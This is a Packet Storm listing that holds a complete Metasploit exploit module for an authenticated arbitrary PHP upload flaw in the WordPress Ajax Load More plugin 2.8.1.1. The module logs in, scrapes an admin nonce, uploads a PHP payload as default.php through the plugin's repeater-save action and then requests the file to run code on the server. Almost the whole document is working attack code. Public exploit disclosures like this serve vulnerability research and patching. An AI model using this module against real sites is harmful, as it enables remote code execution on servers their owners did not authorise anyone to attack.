WordPress Ajax Load More PHP Upload

2015-11-09T00:00:00
ID PACKETSTORM:134285
Type packetstorm
Reporter temp66
Modified 2015-11-09T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability',  
'Description' => %q{  
This module exploits an arbitrary file upload in the WordPress Ajax Load More  
version 2.8.1.1. It allows to upload arbitrary php files and get remote code  
execution. This module has been tested successfully on WordPress Ajax Load More  
2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.  
},  
'Author' =>  
[  
'Unknown', # Identify yourself || send an PR here  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['WPVDB', '8209']  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Ajax Load More 2.8.1.1', {}]],  
'DisclosureDate' => 'Oct 10 2015',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('WP_USERNAME', [true, 'A valid username', nil]),  
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])  
], self.class  
)  
end  
  
def check  
check_plugin_version_from_readme('ajax-load-more', '2.8.1.2')  
end  
  
def username  
datastore['WP_USERNAME']  
end  
  
def password  
datastore['WP_PASSWORD']  
end  
  
def get_nonce(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),  
'vars_get' => {  
'page' => 'ajax-load-more-repeaters'  
},  
'cookie' => cookie  
)  
  
if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/  
return Regexp.last_match[1]  
else  
return nil  
end  
end  
  
def exploit  
vprint_status("#{peer} - Trying to login as #{username}")  
cookie = wordpress_login(username, password)  
fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil?  
  
vprint_status("#{peer} - Trying to get nonce")  
nonce = get_nonce(cookie)  
fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil?  
  
vprint_status("#{peer} - Trying to upload payload")  
  
# This must be default.php  
filename = 'default.php'  
  
print_status("#{peer} - Uploading payload")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),  
'vars_post' => {  
'action' => 'alm_save_repeater',  
'value' => payload.encoded,  
'repeater' => 'default',  
'type' => 'default',  
'alias' => '',  
'nonce' => nonce  
},  
'cookie' => cookie  
)  
  
if res  
if res.code == 200 && res.body.include?('Template Saved Successfully')  
register_files_for_cleanup(filename)  
else  
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")  
end  
else  
fail_with(Failure::Unknown, 'Server did not respond in an expected way')  
end  
  
print_status("#{peer} - Calling uploaded file")  
send_request_cgi(  
'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)  
)  
end  
end  
`